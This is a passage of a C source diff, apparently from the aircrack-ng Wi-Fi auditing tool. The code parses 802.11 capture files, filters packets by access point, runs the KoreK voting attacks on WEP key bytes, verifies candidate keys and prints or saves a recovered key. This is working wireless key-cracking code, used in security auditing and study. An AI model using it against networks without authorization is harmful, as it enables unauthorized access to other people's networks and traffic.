+				memcpy(dest, h80211 + 4, ETHER_ADDR_LEN);
+				break; // Adhoc
+			case IEEE80211_FC1_DIR_TODS:
+				memcpy(dest, h80211 + 16, ETHER_ADDR_LEN);
+				break; // ToDS
+			case IEEE80211_FC1_DIR_FROMDS:
+				memcpy(dest, h80211 + 4, ETHER_ADDR_LEN);
+				break; // FromDS
+			case IEEE80211_FC1_DIR_DSTODS:
+				memcpy(dest, h80211 + 16, ETHER_ADDR_LEN);
+				break; // WDS -> Transmitter taken as BSSID
+			default:
+				fprintf(stderr,
+						"Expected a value between 0 and 3, got %d.\n",
+						h80211[1] & IEEE80211_FC1_DIR_MASK);
+				break;
+		}
+
+		// skip corrupted keystreams in wep decloak mode
+		if (opt.wep_decloak)
+		{
+			if (dest[0] == 0x01) return (0);
+		}
+	}
+
+	if (opt.bssidmerge) mergebssids(opt.bssidmerge, bssid);
+
+	if (memcmp(bssid, BROADCAST, ETHER_ADDR_LEN) == 0)
+		/* probe request or such - skip the packet */
+		return (0);
+
+	if (me->mode == PACKET_READER_READ_MODE)
+	{
+		if (memcmp(bssid, opt.bssid, ETHER_ADDR_LEN) != 0) return (0);
+	}
+
+	if (memcmp(opt.maddr, ZERO, ETHER_ADDR_LEN) != 0
+		&& memcmp(opt.maddr, BROADCAST, ETHER_ADDR_LEN) != 0)
+	{
+		/* apply the MAC filter */
+		if (memcmp(opt.maddr, h80211 + 4, ETHER_ADDR_LEN) != 0
+			&& memcmp(opt.maddr, h80211 + 10, ETHER_ADDR_LEN) != 0
+			&& memcmp(opt.maddr, h80211 + 16, ETHER_ADDR_LEN) != 0)
+			return (0);
+	}
+
+	/* search for the station */
+
+	int not_found = c_avl_get(access_points, bssid, (void **) ap_cur);
+
+	/* if it's a new access point, add it */
+	if (not_found)
+	{
+		if (!(*ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
+		{
+			perror("malloc failed");
+			return (-1);
+		}
+
+		memset((*ap_cur), 0, sizeof(struct AP_info));
+		memcpy((*ap_cur)->bssid, bssid, ETHER_ADDR_LEN);
+
+		(*ap_cur)->crypt = -1;
+
+		// Shortcut to set encryption:
+		// - WEP is 2 for 'crypt' and 1 for 'amode'.
+		// - WPA is 3 for 'crypt' and 2 for 'amode'.
+		if (opt.forced_amode) (*ap_cur)->crypt = opt.amode + 1;
+
+		if (opt.do_ptw == 1)
+		{
+			(*ap_cur)->ptw_clean = PTW_newattackstate();
+			if (!(*ap_cur)->ptw_clean)
+			{
+				perror("PTW_newattackstate()");
+				free(*ap_cur);
+				*ap_cur = NULL;
+				return (-1);
+			}
+
+			(*ap_cur)->ptw_vague = PTW_newattackstate();
+			if (!(*ap_cur)->ptw_vague)
+			{
+				perror("PTW_newattackstate()");
+				free(*ap_cur);
+				*ap_cur = NULL;
+				return (-1);
+			}
+		}
+		(*ap_cur)->stations = c_avl_create(station_compare);
+		append_ap(*ap_cur);
+	}
+
+	int rv = packet_reader__update_ap_info(
+		*ap_cur, fmt, buffer, h80211, ivs2, pkh, me);
+	if (rv != 0)
+	{
+		if (rv > 0)
+		{
+			// NOTE: skipping this AP base station.
+			*ap_cur = NULL;
+			return (1);
+		}
+		else
+		{
+			// NOTE: an error occurred.
+			return (rv);
+		}
+	}
+
+	return (0);
+}
+
+/**
+ * Thread controlling the processing of packet data from a file or stream.
+ *
+ * This thread is called in one of two possible ways:
+ *
+ * a. With a BSSID specified from the command-line parameters.
+ *
+ * b. Without a BSSID specified in the command-line parameters.
+ *
+ * The goal of both is, to read one or more AP base-stations from the packet
+ * capture files given (passed inside of \a arg); producing our needed
+ * structures for later cracking.
+ *
+ * When a BSSID is specified, we ONLY read data relating to that BSSID. This
+ * mode is called PACKET_READER_READ_MODE.
+ *
+ * Otherwise, the entire file is loaded in to RAM. This mode is called
+ * PACKET_READER_CHECK_MODE.
+ *
+ * **NOTE**: This thread is joinable, and MUST be joined after use.
+ *
+ * @param arg A heap allocated, filled in \a packet_reader_t structure.
+ *            We handle releasing the memory upon function exit.
+ */
+static void packet_reader_thread(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	packet_reader_t * request = (packet_reader_t *) arg;
+	unsigned char * buffer = NULL;
+	read_buf rb = {0};
+
+	int fd = -1;
+	int n;
+	int fmt;
+
+	unsigned char bssid[ETHER_ADDR_LEN] = {0};
+	unsigned char dest[ETHER_ADDR_LEN] = {0};
+	unsigned char * h80211 = NULL;
+
+	struct ivs2_pkthdr ivs2 = {0};
+	struct ivs2_filehdr fivs2 = {0};
+	struct pcap_pkthdr pkh = {0};
+	struct pcap_file_header pfh = {0};
+	struct AP_info * ap_cur = NULL;
+
+	REQUIRE(request->filename != NULL);
+	REQUIRE((request->mode == PACKET_READER_CHECK_MODE)
+			|| (request->mode == PACKET_READER_READ_MODE));
+
+	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
+
+	rb.tail
+		= ((request->mode == PACKET_READER_READ_MODE && !opt.bssid_set) ? 1
+																		: 0);
+
+	if ((buffer = (unsigned char *) malloc(65536)) == NULL)
+	{
+		/* there is no buffer */
+		perror("malloc failed");
+		goto read_fail;
+	}
+
+	h80211 = buffer;
+
+	if (!opt.is_quiet) printf("Opening %s\n", request->filename);
+
+	if (strcmp(request->filename, "-") == 0)
+		fd = 0;
+	else
+	{
+		if ((fd = open(request->filename, O_RDONLY | O_BINARY)) < 0)
+		{
+			fprintf(stderr,
+					"Failed to open '%s' (%d): %s\n",
+					request->filename,
+					errno,
+					strerror(errno));
+			goto read_fail;
+		}
+	}
+
+	if (!atomic_read(&rb, fd, 4, &pfh))
+	{
+		perror("read(file header) failed");
+		goto read_fail;
+	}
+
+	fmt = FORMAT_IVS;
+	if (memcmp(&pfh, HCCAPX_MAGIC, 4) == 0
+		|| memcmp(&pfh, HCCAPX_CIGAM, 4) == 0)
+	{
+		fmt = FORMAT_HCCAPX;
+	}
+	else if (memcmp(&pfh, IVSONLY_MAGIC, 4) != 0
+			 && memcmp(&pfh, IVS2_MAGIC, 4) != 0)
+	{
+		fmt = FORMAT_CAP;
+
+		if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"Unsupported file format "
+					"(not a pcap or IVs file).\n");
+			goto read_fail;
+		}
+
+		/* read the rest of the pcap file header */
+
+		if (!atomic_read(&rb, fd, 20, (unsigned char *) &pfh + 4))
+		{
+			perror("read(file header) failed");
+			goto read_fail;
+		}
+
+		/* take care of endian issues and check the link type */
+
+		if (pfh.magic == TCPDUMP_CIGAM)
+		{
+			pfh.version_major = ___my_swab16(pfh.version_major);
+			pfh.version_minor = ___my_swab16(pfh.version_minor);
+			pfh.snaplen = ___my_swab32(pfh.snaplen);
+			pfh.linktype = ___my_swab32(pfh.linktype);
+		}
+
+		if (pfh.linktype != LINKTYPE_IEEE802_11
+			&& pfh.linktype != LINKTYPE_PRISM_HEADER
+			&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+			&& pfh.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"This file is not a regular "
+					"802.11 (wireless) capture.\n");
+			goto read_fail;
+		}
+	}
+	else
+	{
+		if (opt.wep_decloak)
+		{
+			fprintf(stderr, "Can't use decloak wep mode with ivs\n");
+			goto read_fail;
+		}
+
+		if (memcmp(&pfh, IVS2_MAGIC, 4) == 0)
+		{
+			fmt = FORMAT_IVS2;
+
+			if (!atomic_read(&rb,
+							 fd,
+							 sizeof(struct ivs2_filehdr),
+							 (unsigned char *) &fivs2))
+			{
+				perror("read(file header) failed");
+				goto read_fail;
+			}
+
+			if (fivs2.version > IVS2_VERSION)
+			{
+				fprintf(stderr,
+						"Error, wrong %s version: %d. Supported up to version "
+						"%d.\n",
+						IVS2_EXTENSION,
+						fivs2.version,
+						IVS2_VERSION);
+				goto read_fail;
+			}
+		}
+		else if (opt.do_ptw)
+		{
+			fprintf(stderr,
+					"Can't do PTW with old IVS files, recapture without --ivs "
+					"or use airodump-ng >= 1.0\n");
+			goto read_fail;
+		}
+	}
+
+	while (1)
+	{
+		if (close_aircrack) break;
+
+		if (fmt == FORMAT_IVS)
+		{
+			/* read one IV */
+			if (!atomic_read(&rb, fd, 1, buffer)) goto done_reading;
+
+			if (close_aircrack) break;
+
+			if (buffer[0] != 0xFF)
+			{
+				/* new access point MAC */
+				bssid[0] = buffer[0];
+
+				if (!atomic_read(&rb, fd, 5, bssid + 1)) goto done_reading;
+			}
+
+			if (!atomic_read(&rb, fd, 5, buffer)) goto done_reading;
+		}
+		else if (fmt == FORMAT_IVS2)
+		{
+			if (!atomic_read(&rb, fd, sizeof(struct ivs2_pkthdr), &ivs2))
+				goto done_reading;
+
+			if (ivs2.flags & IVS2_BSSID)
+			{
+				if (!atomic_read(&rb, fd, ETHER_ADDR_LEN, bssid))
+					goto done_reading;
+
+				ivs2.len -= ETHER_ADDR_LEN;
+			}
+
+			if (!atomic_read(&rb, fd, ivs2.len, buffer)) goto done_reading;
+		}
+		else if (fmt == FORMAT_HCCAPX)
+		{
+			load_hccapx_file(fd);
+			goto done_reading;
+		}
+		else
+		{
+			if (!atomic_read(&rb, fd, sizeof(pkh), &pkh)) goto done_reading;
+
+			if (pfh.magic == TCPDUMP_CIGAM)
+			{
+				pkh.caplen = ___my_swab32(pkh.caplen);
+				pkh.len = ___my_swab32(pkh.len);
+			}
+
+			if (pkh.caplen <= 0 || pkh.caplen > 65535)
+			{
+				fprintf(stderr,
+						"\nInvalid packet capture length %lu - "
+						"corrupted file?\n",
+						(unsigned long) pkh.caplen);
+				goto done_reading;
+			}
+
+			if (!atomic_read(&rb, fd, pkh.caplen, buffer)) goto done_reading;
+
+			h80211 = buffer;
+
+			if (pfh.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+				{
+					n = load32_le(h80211 + 4);
+				}
+
+				if (n < 8 || n >= (int) pkh.caplen) continue;
+
+				h80211 += n;
+				pkh.caplen -= n;
+			}
+
+			else if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+				n = load16_le(h80211 + 2);
+
+				if (n <= 0 || n >= (int) pkh.caplen) continue;
+
+				h80211 += n;
+				pkh.caplen -= n;
+			}
+
+			else if (pfh.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* Remove the PPI header */
+				n = load16_le(h80211 + 2);
+
+				if (n <= 0 || n >= (int) pkh.caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24 && load16_le(h80211 + 8) == 2) n = 32;
+
+				h80211 += n;
+				pkh.caplen -= n;
+			}
+			else if (pfh.linktype == LINKTYPE_IEEE802_11)
+			{
+				/* nothing to do */
+			}
+			else
+			{
+				fprintf(stderr, "unsupported linktype %u\n", pfh.linktype);
+				continue;
+			}
+		}
+
+		ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
+
+		int rv = packet_reader_process_packet(
+			request, bssid, dest, fmt, buffer, h80211, &ivs2, &pkh, &ap_cur);
+
+		ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
+
+		if (rv < 0)
+		{
+			// NOTE: An error occurred during processing, bail!
+			goto read_fail;
+		}
+
+		if (ap_cur != NULL)
+		{
+			if ((ap_cur->nb_ivs >= opt.max_ivs)
+				|| (ap_cur->nb_ivs_clean >= opt.max_ivs)
+				|| (ap_cur->nb_ivs_vague >= opt.max_ivs))
+			{
+				goto done_reading;
+			}
+		}
+
+		if (request->mode == PACKET_READER_READ_MODE && nb_prev_pkt == nb_pkt)
+		{
+			pthread_cond_signal(&cv_eof);
+		}
+	}
+
+done_reading:
+	++nb_eof;
+	pthread_cond_signal(&cv_eof);
+
+read_fail:
+	destroy(buffer, free);
+	destroy(rb.buf1, free);
+	destroy(rb.buf2, free);
+
+	if (fd != -1) close(fd);
+
+	free(arg);
+}
+
+/* timing routine */
+
+static inline float chrono(struct timeval * start, int reset)
+{
+	REQUIRE(start != NULL);
+
+	float delta;
+	struct timeval current;
+
+	gettimeofday(&current, NULL);
+
+	delta = (current.tv_sec - start->tv_sec)
+			+ (float) (current.tv_usec - start->tv_usec) / 1000000.f;
+
+	if (reset) gettimeofday(start, NULL);
+
+	return (delta);
+}
+
+/* signal-safe I/O routines */
+
+static ssize_t safe_read(int fd, void * buf, size_t len)
+{
+	REQUIRE(fd >= 0);
+	REQUIRE(buf != NULL);
+	REQUIRE(len > 0);
+
+	ssize_t n;
+	size_t sum = 0;
+	char * off = (char *) buf;
+
+	while (sum < len)
+	{
+		n = 0;
+
+		if (may_read(fd))
+		{
+			if (!(n = read(fd, (void *) off, len - sum)))
+			{
+				return (0);
+			}
+		}
+		if (close_aircrack) return (-1);
+
+		if (n < 0 && errno == EINTR) continue;
+		if (n < 0) return (n);
+
+		sum += n;
+		off += n;
+	}
+
+	return (sum);
+}
+
+static ssize_t safe_write(int fd, void * buf, size_t len)
+{
+	REQUIRE(fd >= 0);
+	REQUIRE(buf != NULL);
+	REQUIRE(len > 0);
+
+	ssize_t n;
+	size_t sum = 0;
+	char * off = (char *) buf;
+
+	while (sum < len)
+	{
+		if ((n = write(fd, (void *) off, len - sum)) < 0)
+		{
+			if (errno == EINTR) continue;
+			return (n);
+		}
+
+		sum += n;
+		off += n;
+	}
+
+	return (sum);
+}
+
+/* each thread computes the votes over a subset of the IVs */
+
+static int crack_wep_thread(void * arg)
+{
+	long xv, min, max;
+	unsigned char jj[256];
+	unsigned char S[256], Si[256];
+	unsigned char K[64];
+
+	unsigned char io1, o1, io2, o2;
+	unsigned char Sq, dq, Kq, jq, q;
+	unsigned char S1, S2, J2, t2;
+
+	int i, j, B = 0, cid = (int) ((long) arg);
+	int votes[N_ATTACKS][256];
+	int first = 1, first2, oldB = 0, oldq = 0;
+
+	memcpy(S, R, 256);
+	memcpy(Si, R, 256);
+
+	while (1)
+	{
+		if (safe_read(mc_pipe[cid][0], (void *) &B, sizeof(int)) != sizeof(int))
+		{
+			return (FAILURE);
+		}
+		if (close_aircrack) break;
+
+		first2 = 1;
+
+		min = 5 * (((cid) *wep.nb_ivs) / opt.nbcpu);
+		max = 5 * (((1 + cid) * wep.nb_ivs) / opt.nbcpu);
+
+		q = (uint8_t)(3 + B);
+
+		memcpy(K + 3, wep.key, (size_t) B);
+		memset(votes, 0, sizeof(votes));
+
+		/* START: KoreK attacks */
+
+		for (xv = min; xv < max; xv += 5)
+		{
+			if (!first)
+			{
+				for (i = 0; i < oldq; i++)
+				{
+					S[i] = Si[i] = (uint8_t) i;
+					S[jj[i]] = Si[jj[i]] = jj[i];
+				}
+			}
+
+			ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
+
+			memcpy(K, &wep.ivbuf[xv], 3); //-V512
+
+			for (i = j = 0; i < q; i++)
+			{
+				jj[i] = (uint8_t)((j + S[i] + K[i]) & 0xFF);
+				j = (j + S[i] + K[i]) & 0xFF;
+				SWAP(S[i], S[j]);
+			}
+
+			i = q;
+			do
+			{
+				i--;
+				SWAP(Si[i], Si[jj[i]]);
+			} while (i != 0);
+
+			o1 = (uint8_t)(wep.ivbuf[xv + 3] ^ 0xAA);
+			io1 = Si[o1];
+			S1 = S[1];
+			o2 = (uint8_t)(wep.ivbuf[xv + 4] ^ 0xAA);
+			io2 = Si[o2];
+			S2 = S[2];
+
+			ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
+
+			if (first) first = 0;
+			if (first2)
+			{
+				oldB = B;
+				oldq = 3 + oldB;
+				first2 = 0;
+			}
+
+			Sq = S[q];
+			dq = Sq + jj[q - 1];
+
+			if (S2 == 0)
+			{
+				if ((S1 == 2) && (o1 == 2))
+				{
+					Kq = (uint8_t) 1 - dq;
+					votes[A_neg][Kq]++;
+					Kq = (uint8_t) 2 - dq;
+					votes[A_neg][Kq]++;
+				}
+				else if (o2 == 0)
+				{
+					Kq = (uint8_t) 2 - dq;
+					votes[A_neg][Kq]++;
+				}
+			}
+			else
+			{
+				if ((o2 == 0) && (Sq == 0))
+				{
+					Kq = (uint8_t) 2 - dq;
+					votes[A_u15][Kq]++;
+				}
+			}
+
+			if ((S1 == 1) && (o1 == S2))
+			{
+				Kq = (uint8_t) 1 - dq;
+				votes[A_neg][Kq]++;
+				Kq = (uint8_t) 2 - dq;
+				votes[A_neg][Kq]++;
+			}
+
+			if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
+			{
+				Kq = (uint8_t) 0 - dq;
+				votes[A_neg][Kq]++;
+				Kq = (uint8_t) 1 - dq;
+				votes[A_neg][Kq]++;
+			}
+
+			if (S1 == q)
+			{
+				if (o1 == q)
+				{
+					Kq = Si[0] - dq;
+					votes[A_s13][Kq]++;
+				}
+				else if (((1 - q - o1) & 0xFF) == 0)
+				{
+					Kq = io1 - dq;
+					votes[A_u13_1][Kq]++;
+				}
+				else if (io1 < q)
+				{
+					jq = Si[(io1 - q) & 0xFF];
+
+					if (jq != 1)
+					{
+						Kq = jq - dq;
+						votes[A_u5_1][Kq]++;
+					}
+				}
+			}
+
+			if ((io1 == 2) && (S[q] == 1))
+			{
+				Kq = (uint8_t) 1 - dq;
+				votes[A_u5_2][Kq]++;
+			}
+
+			if (S[q] == q)
+			{
+				if ((S1 == 0) && (o1 == q))
+				{
+					Kq = (uint8_t) 1 - dq;
+					votes[A_u13_2][Kq]++;
+				}
+				else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
+				{
+					Kq = (uint8_t) 1 - dq;
+					votes[A_u13_3][Kq]++;
+				}
+				else if ((S1 >= ((-q) & 0xFF))
+						 && (((q + S1 - io1) & 0xFF) == 0))
+				{
+					Kq = (uint8_t) 1 - dq;
+					votes[A_u5_3][Kq]++;
+				}
+			}
+
+			if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
+				&& (io1 != S[S1]))
+			{
+				Kq = io1 - dq;
+				votes[A_s5_1][Kq]++;
+			}
+
+			if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
+			{
+				if (o2 == S1)
+				{
+					jq = Si[(S1 - S2) & 0xFF];
+
+					if ((jq != 1) && (jq != 2))
+					{
+						Kq = jq - dq;
+						votes[A_s5_2][Kq]++;
+					}
+				}
+				else if (o2 == ((2 - S2) & 0xFF))
+				{
+					jq = io2;
+
+					if ((jq != 1) && (jq != 2))
+					{
+						Kq = jq - dq;
+						votes[A_s5_3][Kq]++;
+					}
+				}
+			}
+
+			if ((S[1] != 2) && (S[2] != 0))
+			{
+				J2 = S[1] + S[2];
+
+				if (J2 < q)
+				{
+					t2 = S[J2] + S[2];
+
+					if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
+					{
+						Kq = io2 - dq;
+						votes[A_s3][Kq]++;
+					}
+				}
+			}
+
+			if (S1 == 2)
+			{
+				if (q == 4)
+				{
+					if (o2 == 0)
+					{
+						Kq = Si[0] - dq;
+						votes[A_4_s13][Kq]++;
+					}
+					else
+					{
+						if ((jj[1] == 2) && (io2 == 0))
+						{
+							Kq = Si[254] - dq;
+							votes[A_4_u5_1][Kq]++;
+						}
+						if ((jj[1] == 2) && (io2 == 2))
+						{
+							Kq = Si[255] - dq;
+							votes[A_4_u5_2][Kq]++;
+						}
+					}
+				}
+				else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1)
+						 && (io2 != 4))
+				{
+					Kq = io2 - dq;
+					votes[A_u5_4][Kq]++;
+				}
+			}
+			if (close_aircrack) break;
+		}
+		if (close_aircrack) break;
+		/* END: KoreK attacks */
+
+		if (safe_write(cm_pipe[cid][1], votes, sizeof(votes)) != sizeof(votes))
+		{
+			perror("write failed");
+			kill(0, SIGTERM);
+			_exit(EXIT_FAILURE);
+		}
+	}
+
+	return (0);
+}
+
+/* display the current votes */
+
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod)
+{
+	float delta;
+	struct winsize ws;
+	int i, et_h, et_m, et_s;
+	static int is_cleared = 0;
+
+	if ((chrono(&t_stats, 0) < 1.51 || wepkey_crack_success) && force == 0)
+		return;
+
+	if (ioctl(0, TIOCGWINSZ, &ws) < 0)
+	{
+		ws.ws_row = 25;
+		ws.ws_col = 80;
+	}
+
+	chrono(&t_stats, 1);
+
+	delta = chrono(&t_begin, 0);
+
+	et_h = (int) (delta / 3600);
+	et_m = (int) ((delta - et_h * 3600) / 60);
+	et_s = (int) (delta - et_h * 3600 - et_m * 60);
+
+	if (is_cleared == 0)
+	{
+		is_cleared++;
+
+		if (opt.l33t) textcolor_bg(TEXT_BLACK);
+
+		erase_display(2);
+	}
+
+	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
+
+	moveto((ws.ws_col - (int) strlen(progname)) / 2, 2);
+	printf("%s\n\n", progname);
+
+	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_YELLOW, TEXT_BLACK);
+
+	moveto((ws.ws_col - 44) / 2, 5);
+	if (table)
+		printf("[%02d:%02d:%02d] Tested %d keys (got %ld IVs)",
+			   et_h,
+			   et_m,
+			   et_s,
+			   prod,
+			   opt.ap->nb_ivs);
+	else
+		printf("[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   wep.nb_ivs_now);
+	erase_line(0);
+
+	if (opt.l33t)
+	{
+		textcolor_fg(TEXT_GREEN);
+		textcolor_normal();
+	}
+
+	moveto(4, 7);
+	printf("KB    depth   byte(vote)\n");
+
+	for (i = 0; i <= B; i++)
+	{
+		int j, k = (ws.ws_col - 20) / 11;
+
+		if (!table)
+		{
+			if (opt.l33t)
+			{
+				printf("   %2d  ", i);
+				textstyle(TEXT_BRIGHT);
+				printf("%3d", wep.depth[i]);
+				textcolor_fg(TEXT_GREEN);
+				printf("/%3d   ", wep.fudge[i]);
+			}
+			else
+				printf("   %2d  %3d/%3d   ", i, wep.depth[i], wep.fudge[i]);
+		}
+		else
+			printf("   %2d  %3d/%3d   ", i, depth[i], choices[i]);
+
+		if (table)
+		{
+			for (j = depth[i]; j < k + depth[i]; j++)
+			{
+				if (j >= 256) break;
+
+				if (opt.l33t)
+				{
+					textstyle(TEXT_BRIGHT);
+					printf("%02X", table[i][j].b);
+					textcolor_fg(TEXT_GREEN);
+					printf("(%4d) ", table[i][j].votes);
+				}
+				else
+					printf("%02X(%4d) ", table[i][j].b, table[i][j].votes);
+			}
+		}
+		else
+		{
+			for (j = wep.depth[i]; j < k + wep.depth[i]; j++)
+			{
+				if (j >= 256) break;
+
+				if (wep.poll[i][j].val == 32767)
+				{
+					if (opt.l33t)
+					{
+						textstyle(TEXT_BRIGHT);
+						printf("%02X", wep.poll[i][j].idx);
+						textcolor_normal();
+						printf("(+inf) ");
+					}
+					else
+						printf("%02X(+inf) ", wep.poll[i][j].idx);
+				}
+				else
+				{
+					if (opt.l33t)
+					{
+						textstyle(TEXT_BRIGHT);
+						printf("%02X", wep.poll[i][j].idx);
+						textcolor_normal();
+						printf("(%4d) ", wep.poll[i][j].val);
+					}
+					else
+						printf("%02X(%4d) ",
+							   wep.poll[i][j].idx,
+							   wep.poll[i][j].val);
+				}
+			}
+		}
+		if (opt.showASCII && !table)
+			if (wep.poll[i][wep.depth[i]].idx >= ASCII_LOW_T
+				&& wep.poll[i][wep.depth[i]].idx <= ASCII_HIGH_T)
+				if (wep.poll[i][wep.depth[i]].val >= ASCII_VOTE_STRENGTH_T
+					|| ASCII_DISREGARD_STRENGTH) //-V560
+					printf("  %c", wep.poll[i][wep.depth[i]].idx);
+
+		printf("\n");
+	}
+
+	if (B < opt.keylen - 1) erase_display(0);
+
+	printf("\n");
+}
+
+static void key_found(unsigned char * wepkey, int keylen, int B)
+{
+	REQUIRE(wepkey != NULL);
+	REQUIRE(keylen >= 0);
+
+	FILE * keyFile;
+	int i, n;
+	int nb_ascii = 0;
+
+	if (opt.probability < 1) return;
+
+	for (i = 0; i < keylen; i++)
+		if (wepkey[i] == 0 || (wepkey[i] >= 32 && wepkey[i] < 127)) nb_ascii++;
+
+	wepkey_crack_success = 1;
+	memcpy(bf_wepkey, wepkey, (size_t) keylen);
+
+	if (opt.is_quiet)
+		printf("KEY FOUND! [ ");
+	else
+	{
+		if (B != -1) show_wep_stats(B - 1, 1, NULL, NULL, NULL, 0);
+
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_RED);
+		}
+
+		n = (80 - 14 - keylen * 3) / 2;
+
+		if (100 * nb_ascii > 75 * keylen) n -= (keylen + 4) / 2;
+
+		if (n <= 0) n = 0;
+
+		erase_line(0);
+		move(CURSOR_FORWARD, n);
+		printf("KEY FOUND! [ ");
+	}
+
+	for (i = 0; i < keylen - 1; i++) printf("%02X:", wepkey[i]);
+	printf("%02X ] ", wepkey[i]);
+
+	if (nb_ascii == keylen)
+	{
+		printf("(ASCII: ");
+
+		for (i = 0; i < keylen; i++)
+			printf("%c",
+				   ((wepkey[i] > 31 && wepkey[i] < 127) || wepkey[i] > 160)
+					   ? wepkey[i]
+					   : '.');
+
+		printf(" )");
+	}
+
+	if (opt.l33t)
+	{
+		textcolor_fg(TEXT_GREEN);
+		textcolor_normal();
+	}
+
+	printf("\n\tDecrypted correctly: %d%%\n", opt.probability);
+	printf("\n");
+
+	// Write the key to a file
+	if (opt.logKeyToFile != NULL)
+	{
+		keyFile = fopen(opt.logKeyToFile, "w");
+		if (keyFile != NULL)
+		{
+			for (i = 0; i < keylen; i++) fprintf(keyFile, "%02X", wepkey[i]);
+			fclose(keyFile);
+		}
+	}
+}
+
+/* test if the current WEP key is valid */
+
+static int check_wep_key(unsigned char * wepkey, int B, int keylen)
+{
+	unsigned char x1, x2;
+	unsigned long xv;
+	size_t i, j, n, bad;
+	unsigned long tests;
+
+	unsigned char K[64];
+	unsigned char S[256];
+
+	if (keylen <= 0) keylen = opt.keylen;
+
+	ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+	nb_tried++;
+	ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+
+	bad = 0;
+
+	memcpy(K + 3, wepkey, (size_t) keylen);
+
+	tests = 32;
+
+	if (opt.dict) tests = (unsigned long) wep.nb_ivs;
+
+	if (tests < TEST_MIN_IVS) tests = TEST_MIN_IVS;
+	if (tests > TEST_MAX_IVS) tests = TEST_MAX_IVS;
+
+	for (n = 0; n < tests; n++)
+	{
+		xv = 5u * n;
+
+		ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
+
+		memcpy(K, &wep.ivbuf[xv], 3); //-V512
+		memcpy(S, R, sizeof(S));
+
+		for (i = j = 0; i < 256; i++)
+		{
+			j = (j + S[i] + K[i % (3 + keylen)]) & 0xFF;
+			SWAP(S[i], S[j]);
+		}
+
+		i = 1;
+		j = (size_t)((0 + S[i]) & 0xFF);
+		SWAP(S[i], S[j]);
+		x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
+
+		i = 2;
+		j = (size_t)((j + S[i]) & 0xFF);
+		SWAP(S[i], S[j]);
+		x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
+
+		ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
+
+		if ((x1 != 0xAA || x2 != 0xAA) && (x1 != 0xE0 || x2 != 0xE0)
+			&& (x1 != 0x42 || x2 != 0x42)
+			&& (x1 != 0x02 || x2 != 0xAA)) // llc sub layer management
+			bad++;
+
+		if (bad > ((tests * opt.probability) / 100)) return (FAILURE);
+	}
+
+	opt.probability = (int) (((tests - bad) * 100) / tests);
+	key_found(wepkey, keylen, B);
+
+	return (SUCCESS);
+}
+
+/* sum up the votes and sort them */
+
+static int calc_poll(int B)
+{
+	int i, cid, *vi;
+	size_t n;
+	int votes[N_ATTACKS][256];
+
+	memset(&opt.votes, '\0', sizeof(opt.votes));
+
+	/* send the current keybyte # to each thread */
+
+	for (cid = 0; cid < opt.nbcpu; cid++)
+	{
+		n = sizeof(int);
+
+		if ((size_t) safe_write(mc_pipe[cid][1], &B, n) != n)
+		{
+			perror("write failed");
+			kill(0, SIGTERM);
+			_exit(EXIT_FAILURE);
+		}
+	}
+
+	/* collect the votes, multiply by the korek coeffs */
+
+	for (i = 0; i < 256; i++)
+	{
+		wep.poll[B][i].idx = i;
+		wep.poll[B][i].val = 0;
+	}
+
+	for (cid = 0; cid < opt.nbcpu; cid++)
+	{
+		n = sizeof(votes);
+
+		if ((size_t) safe_read(cm_pipe[cid][0], votes, n) != n)
+		{
+			return (FAILURE);
+		}
+
+		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
+			for (i = 0; i < 256; i++, vi++)
+			{
+				wep.poll[B][i].val += *vi * K_COEFF[n];
+				if (K_COEFF[n]) opt.votes[n] += *vi;
+			}
+	}
+
+	/* set votes to the max if the keybyte is user-defined */
+
+	if (opt.debug_row[B]) wep.poll[B][opt.debug[B]].val = 32767;
+
+	/* if option is set, restrict keyspace to alpha-numeric */
+
+	if (opt.is_alnum)
+	{
+		for (i = 1; i < 32; i++) wep.poll[B][i].val = -1;
+
+		for (i = 127; i < 256; i++) wep.poll[B][i].val = -1;
+	}
+
+	if (opt.is_fritz)
+	{
+		for (i = 0; i < 48; i++) wep.poll[B][i].val = -1;
+
+		for (i = 58; i < 256; i++) wep.poll[B][i].val = -1;
+	}
+
+	/* if option is set, restrict keyspace to BCD hex digits */
+
+	if (opt.is_bcdonly)
+	{
+		for (i = 1; i < 256; i++)
+			if (i > 0x99 || (i & 0x0F) > 0x09) wep.poll[B][i].val = -1;
+	}
+
